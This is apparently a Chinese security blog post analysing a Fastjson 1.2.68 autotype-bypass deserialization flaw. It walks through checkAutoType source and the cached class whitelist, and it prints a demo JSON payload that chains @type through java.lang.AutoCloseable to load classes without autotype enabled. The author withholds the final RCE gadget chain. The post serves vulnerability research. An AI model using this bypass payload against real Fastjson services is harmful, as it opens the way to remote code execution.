0x01 概述
从小道消息,传出了一个东西就是 Fastjson 又双叒叕出现 autotype bypass 的rce了,我听到这个消息傻了,原先以为是浅蓝师傅的这个《fastjson 1.2.68 最新版本有限制 autotype bypass》,然后有人找到了条利用链,但是又想想不对呀,没有人会在异常里面写jndi或者命令执行的方法,当然随着自己深入看,发现真的不是这么简单。
0x02 解析过程
我们都知道,在 fastjson 指定 @type 之后,整个解析过程是在 ParserConfig 完成,主要因为一个方法 checkAutoType ,这个方法里面会进行判断是否开启了 autotype 开关,然后进行相关判断,这里我们重新梳理一遍流程,下面这部分我把 checkAutoType 部分我认为重要的全部撸出来了,先分段看看。
第一段,如果传入的 expectClass 不为 null ,且不是 Object、Serializable、Cloneable、Closeable、EventListener、Collection 这些东西的情况下,就会将 expectClassFlag 设置为 true 。
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
第二段,这里首先设置 internalWhite 标志位,然后判断是否在黑名单里面,如果不在继续往下走,判断(!internalWhite) && (autoTypeSupport || expectClassFlag)
这个if逻辑,如果为true,如果在白名单中,就加入到缓存中。
long fullHash = TypeUtils.fnv1a_64(className); //传入classname生成fullhash
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES, fullHash) >= 0; //进入白名单查找
...
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) { //根据前面的逻辑进行查找这里的意思是internalWhite结果要为fasle,也就是传入的类是黑名单,且autotype开启或者期望类flag为true的情况下
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { //查找白名单
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true); //正确加入缓存
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {//查找黑名单存在,且不在mapping缓存中。
if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) { //如果白名单存在则继续
continue;
}
throw new JSONException("autoType is not support. " + typeName);
}
}
}
第三段,这里会针对 autotype 开关是否设置为 true 进行判断,这里先进行黑名单判断,再进行白名单判断,如果在白名单里面就把它加入到缓存 mapping 里,这个东西调试过1.2.47的应该很清楚,如果不清楚也别急,后面会细说为啥要加入到缓存 mapping ,当然这里如果有期望类的情况下,会进行判断是否满足期望类的继承关系。
if (!autoTypeSupport) { //autotype不开启
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) { //黑名单遍历
throw new JSONException("autoType is not support. " + typeName);
}
// white list
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { //白名单遍历,加入mapping
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
第四段:如果 autotype 开关打开或者使用了 JSONType 注解,又或者 expectClassFlag 为 true 对的情况下,且只有在 autotype 开关打开或者使用了 JSONType 注解的情况下,才会将类加入到缓存 mapping 当中。
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
第五段:如果使用了 JSONType 注解,将类加入到缓存 mapping 中。
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
第六段:如果期望类不为空,且继承关系符合,则也加入到缓存 mapping 中。
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
fastjson 在判断 autotype 的时候,会在这个缓存 mapping 里面先进行判断,也就是说在这个 mapping 里面的95个都是白名单,可以这么理解它,当然我都抠出来了。
[java.lang.IndexOutOfBoundsException
java.lang.Integer
java.lang.NoSuchFieldException
java.lang.Long
java.math.BigInteger
java.lang.LinkageError
java.lang.StringIndexOutOfBoundsException
java.lang.StackOverflowError
long
java.lang.VerifyError
java.util.LinkedHashMap
java.util.Calendar
java.lang.StackTraceElement
[long
java.lang.NoSuchMethodError
java.util.concurrent.atomic.AtomicLong
java.util.TreeMap
java.util.Date
java.lang.NoSuchFieldError
java.util.concurrent.atomic.AtomicInteger
java.lang.Short
java.util.Locale
java.lang.InstantiationException
java.lang.SecurityException
java.sql.Timestamp
java.util.concurrent.ConcurrentHashMap
java.util.UUID
java.lang.IllegalAccessError
com.alibaba.fastjson.JSONObject
[short
java.util.HashSet
[byte
java.lang.Boolean
java.sql.Date
short
java.lang.Object
java.util.BitSet
[char
java.lang.Float
java.math.BigDecimal
java.lang.Character
java.lang.InternalError
[double
byte
double
java.lang.Exception
java.lang.Double
[B
java.lang.TypeNotPresentException
[C
[D
java.text.SimpleDateFormat
[F
[I
java.util.TreeSet
[J
java.util.ArrayList
java.lang.IllegalMonitorStateException
com.alibaba.fastjson.JSONArray
[S
java.lang.String
java.lang.Number
java.util.LinkedHashSet
[Z
java.lang.NegativeArraySizeException
java.lang.NumberFormatException
java.lang.RuntimeException
char
java.lang.OutOfMemoryError
java.lang.IllegalStateException
java.sql.Time
java.lang.NoSuchMethodException
java.util.Collections$EmptyMap
[boolean
float
java.lang.AutoCloseable
java.lang.NullPointerException
java.lang.Byte
[int
com.alibaba.fastjson.JSONPObject
java.lang.Cloneable
java.lang.IllegalAccessException
java.util.IdentityHashMap
java.util.HashMap
java.lang.NoClassDefFoundError
java.util.Hashtable
java.util.WeakHashMap
java.lang.IllegalThreadStateException
java.lang.IllegalArgumentException
int
java.util.concurrent.TimeUnit
boolean
java.lang.InstantiationError
java.lang.InterruptedException
[float]
所以以下情况会过autotype校验:
- 白名单里的类
- 开启了 autotype
- 使用了 JSONType 注解
- 指定了期望类(expectClass)
- 缓存 mapping 中的类
0x03 调试过程
有一说一,这95个真的多,然后我又开始了漫长了筛选之旅,首先去掉一些 int 、异常类 等,因为我觉得这些可能性相对较低,当然去完之后还有39个,心态崩了,这时候再回去看看那代码,然后我发现相关类都有自己的反序列化构造器。
这里有能排除一大半了,再根据通告,不能过黑名单,也就是说会接受 checkautotype 检查,根据这个思路,直接寻找哪些反序列化器会有这个玩意,异常类的反序列化构造器直接被我排除了。
剩下就只是 JavaBeanDeserializer 了,因为 MapDeserializer 的期望类为 null ,估计可能性不大,做完排除法,剩下就只有两个了
java.lang.AutoCloseable
java.util.BitSet
就剩下两个面是真的少了很多了,慢慢看呗,优先思路是去找 java.lang.AutoCloseable ,继承关系的第三方jar,我找了一个
org.apache.commons.dbcp2.datasources.PerUserPoolDataSource
结果不知道是哪个小机灵鬼提供的修复建议,一个个字符计算hash来判断,导致这个gadget因为org.apache.commons.dbcp
没了,到后面我又找了一个本地 loadclass ,还是完成鸡肋rce。
这时候再看修复,在 expectClassFlag 位置加了 java.lang.Runnable、java.lang.Readable、java.lang.AutoCloseable 这三个。
所以事实的真相应该没有这么简单,因为 java.lang.Runnable、java.lang.Readable 是无法直接 @type 的,所以进一步往下看,这里提到一个东西,可以看个 demo ,这个 demo 来自 @threedr3am 师傅。
class AAAA implements AutoCloseable {
private BBBB rrr;
public BBBB getRrr() {
return rrr;
}
public void setRrr(BBBB rrr) {
this.rrr = rrr;
}
@Override
public void close() throws Exception {
}
}
class BBBB implements Runnable {
private String eval;
public String getEval() {
return eval;
}
public void setEval(String eval) {
System.out.println(eval + " eval!");
this.eval = eval;
}
@Override
public void run() {
}
通过下面代码执行之后可以不开启 autotype 的情况下调用成功。
public static void main(String[] args) {
String json = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.l1nk3r.fastjson.AAAA\", \"rrr\": {\"@type\": \"com.l1nk3r.fastjson.BBBB\", \"eval\": \"fastjson\"}}";
JSON.parseObject(json);
}
贼心不死的我继续,找找相关 gadget ,本着优先从 jdk 进行查找的原则我找了 javax.sql.rowset.JdbcRowSet ,这个类也是 extends autocloseable 的,他的实现类 com.sun.rowset.JdbcRowSetImpl 相信大家都不太陌生,很遗憾,这个类也GG了,我还找了一些类似的类,但是在 fastjon 的 ParserConfig 这里,有一段这样的代码,限制了他的一些父类的不能是 ClassLoader 、DataSource 、RowSet 所以在此自闭。
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}
当然在最后还是找了一条链,成功搞定了这个洞,链的话暂时就不公开了,也是不很好用,存当作学习。
0x04 后话
这个洞应该还有很精彩的链条,期待学习各位师傅的链。利用